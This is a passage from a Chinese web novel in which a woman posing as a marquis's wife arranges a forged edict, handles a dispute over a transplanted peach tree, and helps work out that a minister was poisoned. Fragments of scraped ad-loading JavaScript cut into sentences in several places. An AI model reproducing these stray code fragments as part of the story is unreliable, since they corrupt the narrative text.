结果没有等到万星的回应,萧明渊看着万星,发现他的表情十分为难的样子,萧明渊便意识到,好像有些不对。 萧明渊皱着眉头问道:“怎么了?有话直说。” 万星这才支支吾吾的说了起来。“侯爷当日和卑职说,要您院子里也有这样一颗桃树,卑职寻遍了京城,都没有找到一样的,卑职便带人去原处将这颗桃树挖了出来,然后移种到此处。” 萧明渊嗯了一声,然后说道:“虽然我只是让你种桃树,没有要求必须原来那颗,但是现在看来也不错。” 梁浅听到此处,也悄悄打开门的缝隙偷看外面,发现确实是那日她出门逛街和萧明渊看到的桃树,没有想到他当时竟然听到了自己说的话。 万星继续支支吾吾的说着,“是,可当时侯爷和夫人逛到的那个地方说是已然不属于京城的地界,属于邻县,今日周围的百姓发现树被我们挖来,说那是他们的百年古树,便告到了当地官府。” 万星说话越来越小声,可是萧明渊却逐渐瞪大了眼睛,梁浅听到这里也很吃惊,虽然对这个百年古树的理由感觉很扯,可是万星偷偷挖树的行为确实也很不地道。 萧明渊说:“你挖之前也没有问这是谁家的?” 万星小声的说道:“这都在街上,我以为就是野树罢了,便没有问过。” “那然后呢?你怎么知道百姓告到了官府的?”萧明渊尽力压制着自己的愤怒。 “那县令大人已然坐在萧府堂上了。”万星心虚的回道。 萧明渊终于有些控制不住自己了,然后大声说道:“那你不早说。” 梁浅听着萧明渊着急远去的脚步在门口偷笑着,没有想到这两人平时看着这么严肃,竟然也会如此疏忽,做出这样的事。 * 而此时的梁浅对于接下来自己要做什么也非常明确了,见两人离开后,梁浅便拿起房间里的笔墨,尽力回忆自己那日看到的那封圣旨,然后便起身径直来到无面之前修养的房间,果然见他还在床上闭着眼睛,躺着吃水果。 梁浅一把将他提起来,“该干活了吧,无大爷?” 无面像只猫一样吱呀乱叫起来,然后摆脱梁浅的束缚,“干嘛,有眉目了?” 梁浅轻轻笑,“算是吧,有件事情交代给你。”梁浅将自己刚刚写的字条递给无面,“你悄悄出去找信得过的人,将这书信上面的字都仿照先帝的字迹写在书信上带回来给我,我去替换真的。” 梁浅将书信递给无面,无面展开看了看,然后说道:“这就是密诏?” 梁浅自信的点了点头 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,然后看着无面,假装要掐他的脖子,威胁着他。 “你呢,最好别想耍什么花招,这东西只是为了仿一个放在那里,避免萧府的人别这么快发现的,真东西只有我能拿到,明白吗?” 无面有些不屑的点了点头,然后问道:“白日里马房马场这边来来往往的人太多,萧二小姐也时不时来看望我,且我的伤还没有完全恢复,所以我只有今晚就悄悄出去弄这件事咯。” 梁浅眯了眯眼睛,然后说道:“二小姐?明汐?她来看你干嘛?” 无面的表情顿时就变得十分傲娇的样子,“那自然是感谢我对她的救命之恩呀。” 梁浅瞥了他一眼,看着他一脸得意的样子,转身喝了口茶,“你呀,最好别这么自作多情,萧家兄妹可不简单,你这自我感动式的作死人家不可能看不出来。” 无面没有理会梁浅,只是自顾自又吃起了水果,梁浅喝着茶,然后又向无面说道:“帮我再查一个人,用你自己的资源也好,雇人调查也好,不要太过引人注目。” 无面摆了摆手,翘着二郎腿,“这是另外的价钱。” 梁浅站起身,用手掐着无面的脸,然后继续威胁着,“别忘了,你身上的毒,分你钱只是顺带的,明白吗?” 无面嘟着嘴点头,“明白明白,好姐姐,你说名字。” 梁浅这才放开了他,然后才慢慢说道:“他叫周玉,在京城里面任官,官职大概是八品,你帮我查清楚,他的来历,他具体是做什么的,任职后与什么人有过接触。” 无面眼睛眯了眯,然后很八卦的表情问道,“这不会是你的?” 梁浅用手在无面的头上敲了一下,无面吃痛的叫了一声,梁浅盯着他认真的说道:“不要什么事情都往奇奇怪怪的地方猜测好吗?我们女子不是随便就对街上遇到一个男子就有什么关系的。” * 梁浅回到房间后,便叫芸香把之前她选的人带来,乘此间隙,看着桌子上的笔墨,梁浅还是提起笔画了起来,之前答应给萧某人的荷包,还一笔未动,要是他又要起来,还是得有个进度。 芸香带人来后,梁浅让两人坐下,可是两人始终不动,梁浅便站起身来,和两人一同站着。 来人开口道:“小人望川,见过小姐,不知小姐有何吩咐。” 梁浅打算开门见山一些,一定程度上,当年柳家将他们几人给自己,也算是放弃了他们,如今自己倒是可以收为己用,让他们和自己统一战线。 “那我便直说了,今后,我要你出府去帮我做事,在外的衣食住行的费用我都会给你,每月我还会单独酬劳,三月之后,我的事情办成,你与柳府的身契会同当月的酬劳一并给你,你可愿意?” 望川想了想,“小人愿为小姐肝脑涂地。” 于是梁浅便吩咐了他,装做一个普通货郎,去周玉家附近监视周玉,周家每日进出的人都要报给梁浅,万一被萧家的人知道,便说这都是侯爷的命令。 等望川从梁浅处拿了些银两离开,梁浅便转而问起芸香,“芸香,你想不想离开萧府,做点不一样的事,是关于你自己的事?” 24. 第二十四章·女扮男装 芸香听到梁浅的话,沉默了许久才开口。 “小姐若是怕我见望川得了好差事,心中不快,那可多虑了,望川的不易我也知道,如今他得了好差事我也替他高兴,小姐对我的好我都知道。” 梁浅拉着她的手说道:“芸香,从来不是谁对谁好才是一个人活着的目的,重要的是你对自己好不好,现在如果有机会能让你过得更好,你可愿一试?” 而梁浅内心还有没有说出来的话,自己未来也有些新的打算,不想牵连到芸香。 见芸香低头不语,看着好像有些动摇,梁浅才说出自己的想法。 “是这样,我想在京城开一个酒楼,我想请你当老板娘,可好。” 芸香抬起头来,眼睛里面有些惊喜回应道:“小姐的吩咐,芸香定会竭尽全力,府中我也会安排妥当,定然不负小姐所望。” 梁浅笑了笑,摇了摇头。 “不是为了我做这件事,而是以芸香自己去做这件事,到时候你我是合作关系,过段时间,我会将你的身契给你,到时候你若愿意,便与我合作,当我酒楼的老板娘,若不愿意,我也并不强求,你要去哪里我也可以给你写推荐信。” 梁浅一番话说的快了,许多现代的概念都随口冒了出来,但芸香大概意思是懂了的。 芸香还在犹豫梁浅便补充了一句,“那你先想想吧,我的承诺一直有效。” 芸香轻轻点了点头,梁浅便也转身来桌上继续画着,刚画好门外便传来万星的声音。 “夫人可还在房中,县令大人还在前厅。” 梁浅让万星进来,疑惑的问道:“你家侯爷呢?” 万星表情有些尴尬,一直低头不敢看梁浅。 “侯爷去见了县令大人,原本都好好的,说着说着那人开始说侯爷以权势欺人,侯爷便丢下一句‘什么树能有百年,我看你满嘴胡言’便出门去了大理寺。” 万星便回答着还边学着萧明渊的样子说话,梁浅捂着嘴偷笑。 见万星还在紧张的样子,梁浅这才坐直身子,“罢了,我去见县令大人便是,万星,你去请京城最好的花草师傅,带他来将这桃树物归原主。 芸香,你去账房支个七八贯钱,然后再去拿些珍奇些的草药包好拿到前厅来。” * 梁浅换了衣服便来到见这县令大人,县令大人是一个中年男子,眼看着慈眉善目的,梁浅心想,看着这县令不像胡搅蛮缠的,或许是背后有人指示,加上萧明渊在这件事上也尴尬的,才故意借口离开又把万星又留下来请自己。 梁浅走了进去,便先向县令大人行了个礼,县令大人赶紧回礼,“侯夫人这是折煞老夫了。” 梁浅笑着扶县令大人起身,然后回应道:“县令大人为民之心妇孺皆知,人人无不称赞,当然受得小女子一拜。” 县令听得这话,笑着点头坐下,正打算开始他的长篇大论,便被梁浅打断了。 “今日我来此是……” “先才我与夫君有些争吵,以至于他心绪不佳,对大人多有不敬,还望大人海涵,县令大人今日来此的用意,我家夫君已然同我讲过了,我前些日子不知怎得着了病,一直不见好,我家夫君又不知从何处听得若求得桃木放于家中,或许有些用处,又见我中意这颗树,便将此树请到家中,竟不知是贵县的福树,实在不该。” 梁浅一番话说下来,县令大人刚刚还准备严肃起来的脸,便有些松弛了下来,梁浅也全程保持着商业式微笑,眼神毫不回避的看着县令。 “原来是这样,侯爷爱妻心切,令人十分感动,不过那树确是多年前路过此地的一位得道高人种下的,周围的百姓发现此树不在后便有些心急,告到了我这里,夫人也说我是为民而来,如今我也是还得给众人一个交代。”县令大人也不急不慢的回应道。 梁浅喝了口茶,笑着点头,“应该的,我得知此事,心中深觉是对不住各位,如今妾身想既然是我家恭恭敬敬请来的,那自然也得恭恭敬敬送回去不是?我已然命人请了京中最好的花草师傅来,我看明日就是好日子,届时我与夫君会亲自登门给周围几户人家赔罪,将树还回去。 说起来,我也认识一位得道高人,届时也请他在此树之下为周围百姓祈福作法才好呢。” 县令大人在梁浅的一番话中一句话都没有插进去,只听得梁浅终于说完了,才应道,“好,那自然是好,只是夫人的病。” 梁浅见自己的计划奏效,眼睛亮了一下,“嗐,本来就不是什么大事,是我夫君大题小做才惹得这么多事来,还请县令大人多多包涵,回去后更要请县令大人多在众人面前帮我们解释解释才好,不要被小人迷惑,钻了空子,影响大人声誉。” 梁浅十分客套的说着,然后让芸香将包好的草药拿过来递给对方,“这是些上好的补药,还请大人不要推辞,就当是我们晚辈孝敬长辈的。” 两人欲拒还迎一番,县令大人才勉强收下,也觉得事情办的差不多了,这才起身打算离开。 梁浅将人一路送到大门口,站在萧府大门口望着县令的马车远去,这才松了一口气,万星也是这时才跑过来。 “夫人,一切都安排好了,今日便能将树运过去,天黑之前必然能到。”万星回复道。 梁浅点了点头,然后转身对万星说道:“叫人盯好那树,别让树死了,同时派人去郊外再卖两颗桃树明日一同种下,以防万一。” 万星点头,然后偷看梁浅的表情,见梁浅心情好像没有很差,才说道:“只不过这树是侯爷为夫人种的,这样还回去,侯爷那边?” 梁浅停下脚步,心中闪过一丝疑惑,话说这万星也算是萧明渊的亲信,让他留在府中想必不是得了萧明渊的授意也是得了他的默许的,萧明渊定然想得到不管这是不是什么百年神树,还回去才是最好的处理方法的,万一处理不好,别人又拿此事做什么文章,他这蛮横的名声可就传出去了。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>所以万星这样问自己,究竟是萧明渊示意的试探,还是万星自己确实是什么都不知道呢。 “无妨,你不用怕,我去同他说便是。”梁浅还是想先相信是后者,萧明渊的试探什么的,自己现在懒得去管,任务完成自己拿到钱才是首要的。 万星眼见的松了一口气,然后梁浅还是抱着手慢悠悠的往里面走着,梁浅感觉万星跟在后面又紧张起来。 梁浅停下叹了一口气,然后说道:“你若还是放心不下,我这会儿便去说罢。” 万星眼见的眼神亮了起来,正打算行礼,梁浅拉住了他,然后在他身上细细打量了起来,万星疑惑的看着梁浅,更是在梁浅露了满意的笑容时,吓得大惊失色,忙跪下来说道:“卑职跟随侯爷多年,如今夫人虽与侯爷成婚,但是卑职还是誓死追随侯爷的,夫人若是……若是……卑职定以此明志。” 梁浅听他胡乱说了一通,然后疑惑的回道:“你在说什么,我是见你这身衣服不错,你去找一身我能穿的拿过来给我,我去找侯爷。” 梁浅边说着,边拿了几两碎银给万星,万星见状再次松了一口气,然后接下银子,看了看手中的银子,又对梁浅说道:“多了,夫人,小人这身衣服不值这么多钱。” 梁浅背着手走在前面,“无妨,其他的请你喝酒。” 万星看着梁浅离开的身影暗暗叹息道,以前一个侯爷就难伺候了,现在这个夫人虽然表面看着好相处,但是也是个厉害吓人的,看着手中的碎银,万星摇了摇头,这年头钱真不好挣,刚刚差点以为自己小命不保。 * 梁浅回到房中整理起自己之前办案的笔记,将一些简单标记的地方扩展出来,将当时粗略写的地方详细描述出来,弄得差不多之后,看到桌面上的花样,梁浅还是拿起了针线比划了两下。 万星将衣服带过来之后,梁浅也将自己的发髻梳成男子的样子,更是顺手拿起萧明渊的一根看着稍微朴素的簪子带了上去。 万星见到梁浅女扮男装的样子,一脸尴尬的表情说道:“夫人,卑职有句话不知当讲不当讲。” 梁浅背上自己的小包,将笔记和上次采购的保命的东西装上,然后不在意的说道:“以后有什么都直接讲,别说什么当讲不当讲的。” 万星跟着梁浅走了出来,“其实夫人女扮男装还是很英气的,只不过只要稍微仔细一看,还是很明显就能看出夫人是女子的。” 梁浅学平时他们的样子和语调说道:“无妨,看出来又如何,与我不相干的人并不在意,认识我的人也猜得到我的用意,一般也不会当面说出来,况且我女扮男装的目的不是成为男子,只是因为你们男子太介意女子参与某些事情,我若不如此,连给你们的台阶都没有,你们岂不是更生气。” 万星行了礼便转身继续去挖树去了,梁浅看着被挖起来的树,走过去拾起一些花瓣装到自己的荷包中,又留念的看了看这颗树,才转身坚定的朝门外走去。 25. 第二十五章·讨论 梁浅问万星要了侯府的腰牌,想着大理寺的人应该知道萧明渊来此任职,且自己也见万星月银每日跟着他进进出出的,想着定是有用的。 于是梁浅骑着马便出发了,本来想着坐马车太过招摇,结果当好久没有骑马的梁浅跌跌撞撞一路终于到大理寺门口时,梁浅感觉自己的屁股和大腿已经分离了。 梁浅一下马就感觉腿软,将马儿栓好后,一瘸一拐的走到门口,结果看门小哥并不认侯府的腰牌,只认大理寺的,梁浅无力的坐在了地上,准备休息片刻再想接下来的对策。 总不可能青天百日的自己翻墙进去大理寺吧,说不定当场被抓到就捅成刺猬了,结果看门小哥顿了好一会儿才终于开口说可以帮忙通报。 梁浅一下子燃起了希望,一下子就站了起来,连连道谢,小哥一脸严肃,只是偷看了梁浅几眼,等小哥走开,梁浅才一下子想起来,昨日自己跟着萧明渊来大理寺的时候,虽然没有介绍,但是他应该还是注意到自己是萧明渊的夫人了,果然还是这样的情况下是没有戳破自己女扮男装。 梁浅以为小哥应该只是通报后让自己进去就是,结果没有想到,梁浅一抬头,萧明渊竟然也跟着过来了,萧明渊似乎很是吃惊。 梁浅有些尴尬的笑着,先是和小哥行礼道谢,然后很正式的压着嗓子给萧明渊行礼,“大人,小的调查有些眉目了,特来向大人禀报。” 没有想到萧明渊也跟着梁浅演了起来,“哦,小柳子啊,嗯,好,随我进来吧。” 梁浅心里吐槽着,这人取些名字真是奇怪的很,什么小纽子小扣子的,但是基于自己现在扮演的角色,只得恭恭敬敬应下。 萧明渊和门口几位看门小哥都打了招呼,然后才转身朝里面走去,梁浅也立刻跟了上去,还偷偷转身笑着朝几位小哥道谢,只见刚刚帮忙那个小哥一副看破不说破的样子。 萧明渊带着梁浅一路走到他的办公场所,只见他的书案上到处铺着卷宗,旁边还有很多刑狱典籍,萧明渊关上门,然后转身拉着梁浅,将梁浅靠到门后。 萧明渊低着头,轻声在梁浅耳边说道:“怎么,娘子这是不生夫君的气了?若是想见我,原是不必装扮成男子,你带着万星,表明你是侯府夫人,门口那些人自然会放行的。” 若是换做几天前的梁浅必然又是脸红心跳了,但是现在的梁浅已经有些免疫了,始终记得现在最重要的是要赚到这人的钱,而且萧明渊此时未免也太刻意了。 梁浅忍了忍,然后假笑着说道:“萧大人,正事要紧,我这身装扮也是为了方便行事。” 梁浅一把推开萧明渊,然后看向书案上萧明渊写写画画的东西和旁边被摊开的各种书籍,然后非常自然的坐在萧明渊的位置上,语气严肃的说道:“进展如何?” 萧明渊愣了一下,然后在梁浅的对面坐下,仿佛想先回复梁浅刚刚的眼神中的疑惑,“我从前刑狱案例看得少,所以这几天一直在看以前类似案件的记载。” 梁浅抬头看了萧明渊一眼,点了点头,“嗯,不错,这确实是一个好方法,你从前看的多是兵书,这些不太了解也是情有可原,所以有什么发现?” 萧明渊眼睛亮了一下,然后附身过来指向自己记录的某一处,对梁浅说道:“有,动机。” 梁浅收起自己看向别处的目光,饶有兴趣的样子看向萧明渊,笑着说道:“仔细说说。” 萧明渊站起身,在房间中边踱步边给梁浅解释自己发现的奇怪之处。 “我查阅了上一任大理寺丞的卷宗,虽多是各地的报上来再审的案件,可奴婢杀主的案件少之又少,而且像这一类刑狱案件,凶手杀人无非是为财,为情,为仇,或者是受他人雇佣,当然,这种或许也是算为财所杀……可这疑犯,实在说不通,说他只是为财,可是杀了王尚书,他又能得到什么?为情为仇也不可能了。” “那你认为现在看他受人雇佣可有可能?” 萧明渊摇摇头,“不太可能,若是我要杀一个朝中大臣,怎么会选一个手无缚鸡之力的书童,要选也得选有经验之人,不然,从来没有见过这情形的人,想必要么是像这墨白一样待在原地,要么就是像王夫人那样吓得晕过去。 况且这书童经过大理寺的探查和他的口供,他小小年纪便被卖到王家做事,王家素来也没有虐待下人的名声,因为在王家做得好,且年龄也比府上的公子大,这几年也只是在王尚书的书房做事,前年管家还给他寻了一门亲事,如今他家中只有一位年老的老母亲和身怀六甲的妻子,这样的背景实在没有动机,更没有什么雇他杀人的可能。” 梁浅拿着手中的笔,抵在下巴上,又向萧明渊问道:“他不像被人雇的,那可有人想让他被雇呢?” 萧明渊笑着看着梁浅,眼神好像在说你怎么料到的,只是按捺住自己的好奇,“不错,昨日我将他带回来的时候,墨白的家人也得到了消息,昨日夜里,有人敲响了他家的门,他妻子壮着胆子开了门,门外却无人,地上躺着一个包裹,那包打开,里面竟然是一百两白银。” 梁浅假装惊叹一声,拿起桌上的茶水喝了一口,不知道她的摇头是在吹滚烫的茶水还是在为他人惋惜,梁浅口中蹦出一句,“王尚书的性命只值一百两。” 梁浅叹了一口气,然后坐正问道:“那你是怎么知道的,你监视了这家人?” 萧明渊摇了摇头,“那妇人挺着肚子来了大理寺,当着众人的面,将银两交到了大理寺,我问他,这些银两够他们好好生活了,为何还要冒险拿出来,她却和我说,她不相信他相公会做这样的事情,这些钱或许能买到王尚书的命,却买不到她相公的命。” 萧明渊说着,表情却逐渐变得有些悲伤,梁浅给萧明渊倒起一杯茶,递过去,萧明渊接过茶,看着梁浅轻轻点着头。 梁浅说道:“想必你已经派人暗中保护起了那家人吧。” 萧明渊笑着点点头,然后看向梁浅,两人心照不宣的用各自的茶杯碰了一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下。 梁浅接着说道:“仵作那边怎么说,可有发现什么异常。” “哼,你想必都猜到许多了吧,要不然你先说说你的想法,我再和仵作承报的文书比对。” “或许王尚书的致命伤并不是颈部的外伤,而是另有原因。” “你怎么知道的,莫非你偷看了?”萧明渊眯着眼睛看着梁浅。 梁浅摇了摇头,拿出自己的笔迹和萧明渊解释道,“那倒没有,这只是我当时根据现场情况的猜想,本来不确定,你这样一说,我便知道我的猜想是正确的了。” 梁浅给萧明渊指了指自己画的示意图,虽然人的形状画得没有自己以前看到的教科书般标准,但是萧明渊还是一下子就看懂了她的意思。 “王尚书的外伤在于颈部的刀伤。”梁浅并不确定古代叫颈动脉是怎么叫的,便在自己的脖子上比划了一下,“就是这里,这里非常容易……出血,而且血量很大,像这种刀伤,若是在活着的时候被抹了脖子,往往是喷射状的样子,也就是说,血很有可能会喷溅到四处,可是根据你这里记录的侍女打扫时的口供,以及当时我们看到的现场和王夫人的口供,血量明显没有这么大。” 萧明渊轻轻点了点头,“确实,后来我让人将王尚书遇害时的衣物拿来,发现血量并不大,而且并不是你说的喷射状血迹,就是像王夫人说的,顺着流了下来。” “所以,墨白拿着刀杀死了王尚书就并不成立了,因为王尚书真正的死因就不是刀伤,他在这刀伤之前就死了。” 萧明渊听梁浅说完猜想后,眼神满是欣赏的看着梁浅,他没有想到眼前的这个女子观察如此细致,自己尚且是仵作查验尸体后才知道真正原因,在这之前只是直觉觉得有血迹有不寻常之处,或许是当时的周围人都这样说,所以自己也不敢大胆猜想王尚书之死全然就不是刀伤。 萧明渊继续提出自己的问题:“可若是证明了刀伤不是王尚书致死的原因,那又如何才能证明书童就是清白的?” 梁浅笑了笑,“我明白你的意思,王夫人说书童拿着杀王尚书的刀,王家众人也说就是书童用刀杀了王尚书,如今虽然证明了王尚书不是死于刀伤,却没有全然证明王尚书之死和书童一点关系都没有,书童的嫌疑不是还在? 可先不说你刚刚说书童没有理由也没有能力杀死王尚书,除了刀伤之外,他又有什么方法提前杀死王尚书呢?好,即使刀子是他抹的,那刀如今我们判断也不是致命伤,因此若是王家还是咬着不放,那书童也并非是杀人的大罪,顶天也就是个侮辱他人尸体之罪,他的性命已然可以保下,我们现在需要做的一是确定王尚书真正的死因,二是要确定书童和真正死因有没有什么关系。 而我猜没有外伤,无非就是毒咯,他一个书童,又去哪里弄毒?况且他有胆量下毒?” 萧明渊有些计谋得逞的偷笑,梁浅无奈的说:“我也只猜测到这里了,看你这样子,仵作是不是还发现了什么?” 26. 第二十六章·又见周大人 萧明渊伸手指了指梁浅面前的文书,然后说道:“确实如娘子所料,仵作验尸一是发现脖颈处的伤出血的量并不多,除此之外伤口位于王尚书的左颈,而现今嫌疑犯是右手拿刀,从正面杀人要留下这个伤口,岂不是很奇怪? 二是仵作确实在王尚书的身上验出了毒,而且这毒仵作判断应该是王尚书生前就吃下的。” 梁浅看着文书,沉思片刻,想到以前看的古装电视剧问起萧明渊,“这毒不会无毒无味,溶于水中吧。” 萧明渊耸了耸肩,“那便不知了,这毒究竟是何物如今还不能确定。” 梁浅抬头看着萧明渊,“那疑犯审问得如何?” 萧明渊深吸一口气,“墨白说人不是他杀的,他来的时候正好看到王尚书躺在地上,然后有人从身后将自己打晕了,醒来便看到王尚书坐在椅子上,脖子上流着血,自己手里拿着刀,一时吓得楞在了原地,而王夫人也正好进来,见到此状便晕倒了,门外要来打扫的侍女叫了人来将自己当场抓了,押在柴房审问,王家几个舅舅轮番审问,好像就是要将他是杀人凶手的罪名做实。” “若书童所言属实,那现在便是要找到这毒究竟是何人所下,而这个人,想必不是临时雇的杀手,不然这天蒙蒙亮的,正是人最困的时候,他要是飞檐走壁,定然是早就惊醒众人了,所以他定是在这之前便到了王家,在书童到书房之前就将王尚书毒杀,书童可能正好撞见,所以他故意将书童打晕,将凶手嫁祸给书童,自己则翻窗逃走了。”梁浅沉思着。 “可昨日因丞相等人的阻挠,未将王家进出众人调查清楚,加上这几天王家乱做一团,这人或许早已逃之夭夭了。”萧明渊也叹气道。 梁浅突然回忆起一件事情,那便是自己之前和师父在平州时,白日里经营两人的小摊,卖点小吃什么的,晚上有任务也一个晚上便打个来回,便是怕官府邻里发现擅自离开户籍之地,且自己当时假扮柳烟晴嫁进京城,柳家进京的一众人等也都是向当地报备,而萧府和官府也有记录。 就连自己和师父这次也是当地官府报备,说二人要进京探亲,背后更是有他们所在的刺客机构暗中支持,才没有暴露,或许,这可以是一个方向。 见萧明渊还拿着一本卷宗在看,梁浅轻轻咳嗽了一声,见萧明渊抬起头来看自己,梁浅才又说道:“王家暂时不方便去查,那京城的话,户部应该有记录吧,你之前说的和王尚书有关的军饷一案,大概是什么时候开始的。” 萧明渊听到此,放下手中的案卷,仔细回忆了起来,“其实这件事,差不多就是去年冬天的事,当时戍边的一位将领向京中禀报,他们营地的军粮已经撑不过冬天,为何朝中迟迟不发,陛下得知此事震怒,要求彻查,将有责的官员都罚了,可这一查,竟然还牵连出多年前安良之战的军饷有疑,贪污数量之大,至此牵连的人也更多了,而作为兵部尚书的王大人虽然两难,但是还是积极支持彻查军饷一案,如今加上我回京来盯得更紧了,也发现了更多的线索,想必也是有的人心虚,这才杀了王尚书,想让朝中就此推迟甚至搁置军饷一案。” 梁浅心领神会的一笑,拿起茶水来,“这人能将事情报到京中,想必也有你的助力吧,而这件事背后之人,你也很清楚是谁了?” 萧明渊点了点头,“我知道是谁不重要,能不能找到他的把柄才是重要的。” 听到这里,梁浅也不打算卖关子了,“故此,从去年冬天开始查,进京之人,特别是王家新进之人便有嫌疑,为了完成他背后之人交代的事情,想必也是在王家做事,而你如今回京跟得紧了,甚至摸到了这件事的大动脉,那人才动的手。 甚至这段时间你们大理寺盯得紧,他不敢轻易出城,所以有可能还在王家,或者还在京城,而他背后之人,也不敢杀了他,若是这个关头再出命案,定是会漏出马脚。” 萧明渊一直笑着看着梁浅,听她说完,便直接拉起她的手,“走吧,我们一起去查。” 梁浅被一脸懵的拉起来,本来还一本正经的在分析,想着萧明渊听完或许还会和自己讨论一会儿,结果他立刻就站起来了。 梁浅看着萧明渊拉着自己的手,不禁失笑,自己心里也想到,那凶手的背后,或许是丞相,而与他站在对立面的,不就是萧明渊自己,而他真正的内心,真实的想法自己又知道多少呢。 刚出了门,迎面遇到一位笑容可掬的大理寺官员,看上去年纪不大。 梁浅忙甩开萧明渊的手,假装恭恭敬敬的站在萧明渊身后,尽量减少自己在这些人面前的存在感,不仅是为了避免不必要的尴尬,更是为了自己还能继续以这个小纽子的身份查下去。 “萧大人,出门啊?可有什么吩咐。” 萧明渊语气平和的说道:“还望小陈大人带人去取自去年冬天以来的京城各城门进出的记录,若有可疑之人,或者是进了王尚书家中之人,还望大人及时告知于我。” 小陈大人笑眯眯的点着头,然后偏着头看向萧明渊背后的梁浅,“这位小郎君怎么之前没有见过?” 梁浅轻轻偏过头和小陈大人打着招呼,萧明渊这才说道:“哦,这是我府上的书童小柳子,挺聪明伶俐的,我便带过来给我做个帮手。” 梁浅听萧明渊说完,便立刻插了个话缝,“小的还请陈大人帮忙给个大理寺的腰牌方便做事,多谢陈大人了。” 小陈大人仰头笑着,“这有什么谢不谢的,小事一桩。” 随之便从自己的兜里拿出了一大把腰牌,递了一块腰牌给梁浅,梁浅有些惊讶,莫非这人身上一直揣着要给人的腰牌。 梁浅还是恭恭敬敬的接过腰牌,向小陈大人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 行礼道谢,小陈大人用一种大人看着自家孩子一般的眼神,慈祥地看着梁浅,梁浅想起来时没有腰牌的尴尬,这会儿可以光明正大进来,高兴得很,给小陈大人行了礼便举起腰牌给萧明渊看。 萧明渊见她小得意的表情也笑了,小陈大人反而见到这番情景逐渐收回了笑容,加上自己刚刚看到的,心中有一个不成熟的想法在慢慢发芽。 * 梁浅跟着萧明渊一同来到户部,因为刚刚出门见到梁浅是自己骑马来的,萧明渊便没有坐马车,而是自己又骑一匹马,在路上萧明渊对于梁浅会骑马这件事还是有些惊讶的,以前听说柳家小姐文弱,竟然没有想到骑马骑得还不错。 梁浅和萧明渊进来后,掌管户籍的主事大人便笑着迎了上来,听了萧明渊的吩咐便去拿记录的文书了。 待梁浅坐定,以为只找萧家的册子应该很快,却没有想到竟然搬了一个大箱子进来。 萧明渊也很吃惊,只见那主事大人尴尬的笑着说,“原是进京后在各家做事的记录,咱们只是往上划上几笔,所以并未明确将那家之人划分出来,所以只得由大人自行查看了。” 梁浅才想张口问他们要几个人来一起找,对面那人却先开口道:“科举之事将近,众人也多出去办事了,暂时拨不出别的人手,还望大人见谅。” 梁浅正打算打开这箱看的时候,那人又说:“大人稍等,还有一箱。” 梁浅的手在半路停住,叹了叹气,然后转身和萧明渊商量,一人一箱,为了方便查看,一人一个房间慢慢翻阅算了,萧明渊点了点头,梁浅便转身跟着户部的人进了另外一个房间。 梁浅正坐下倒茶,却忽然瞥见端着箱子进来的人看着有些脸熟,抬头一看,那日在客栈见到的玉面郎君竟然在户部帮忙搬箱子,满头大汗,放下箱子后,朝梁浅行礼,即使有些狼狈,却也不失风度。 梁浅心想,这下还没有等调查的消息出来,自己应该就可以知道很多了,就在两人转身打算出门的片刻,梁浅叫住了他们,然后朝周玉行礼,“这位大人教我看看这些簿子如何才能更好查阅可好?且若有不懂的,我还得向大人请教呢。” 周玉本来打算头也不回的快速离开,结果被这么一叫,旁边的同伴先一步离开后,自己本来也打算谢绝离开,但是转身抬眼快速的看了一眼,便吃惊的愣了一下,才行礼到好。 周玉也没有想到今日遇到的竟然是梁浅,自己本来想着自己原本只是拿笔杆子的,从小体弱,一会儿穿着官服被主事大人吆来喝去,满头大汉的样子想必十分窘迫,只想得赶紧离开,没成想竟然能遇到候夫人,心中刚刚的那份失落居然减少了几分,心中更是暗自下定决心,自己要抓住机会。 梁浅走出门见刚刚的人都离开了,才转身和周玉说道:“周大人这是来户部任职了?” 27. 第二十七章·好大一箱 周玉直起身来笑着说道:“侯夫人这不是也来了户部?” 梁浅笑了笑,没有回答,走到箱子旁拿起一本册子翻看了起来,“刚刚那主事大人说如今户部抽不开人手,你还敢留下来?” 周玉像是自嘲一般笑了,“我不过是这段时间户部太忙借过来的人罢了,户部本职的大事自然轮不到我,如今我留在夫人这边倒是还可以躲片刻清闲。” 梁浅见周玉用手袖擦汗,便将自己的手帕递了过去,周玉顿了一下,还是接下了,“多谢夫人,不知侯爷夫人要这些做什么?” 梁浅坐在桌子旁看着周玉,示意周玉在自己对面坐下,然后大概的和周玉讲了讲这个案件。 周玉听到王尚书疑似被人毒杀,竟气得差点将茶杯摔坏,最后时刻还是轻轻将茶杯放下,“我自入京以来便听说,王尚书为人正直,办事严明,昨日听闻王尚书暴毙家中,我与同僚还好好惋惜了一番,像王尚书这样的人不多了,今日听夫人如此说,那毒杀王尚书的贼人真令人憎恨,可惜王尚书为朝廷鞠躬尽瘁半生,竟然落得如此结局。” 梁浅点头道:“是啊,世事无常,如今更是应该将凶手找出来,以告慰王尚书的在天之灵。” 周玉站起身朝梁浅行礼道:“有什么帮得上忙的,还请夫人吩咐。” 梁浅摇了摇头,“首先就是以后不用说一句话行一回礼,不必太过拘束,你先帮我一起看看这些吧。”梁浅将自己手中的册子递给周玉。 周玉笑着接了过来,正打算翻看,却未曾想,门外传来脚步声,“周大人,主事大人叫你过去,有事交代。” 周玉有些失望的将书册放下,朝外面应好,见梁浅点了点头,他才又行礼退下。 梁浅看着周玉远去的背影,心中不禁沉思,这户部看似中立,其实也不敢帮萧明渊这边,只能用这种小心思来摇摆了,而这周玉,看他这番处境,梁浅心中对他的怀疑不仅轻了几分,若是他已然是丞相的人,这户部又怎么会如此轻视他,梁浅也理解他这种有心无力的感觉,只是现在自己也没有想好帮他脱离困境的对策,或许也得他自己才能寻找到时机了。 梁浅耸了耸肩,继续一一翻看其这些记录,不得不说,这工作量也是真大,自己拿起毛笔,将与萧家有关的人一一誊录下来。 因自己现在扮演的只是萧明渊的跟班,所以主事大人压根就没有叫自己去吃饭,梁浅看得饿了便拿出自己出门的时候揣在怀里的饼,边大口吃着手上还继续写着。 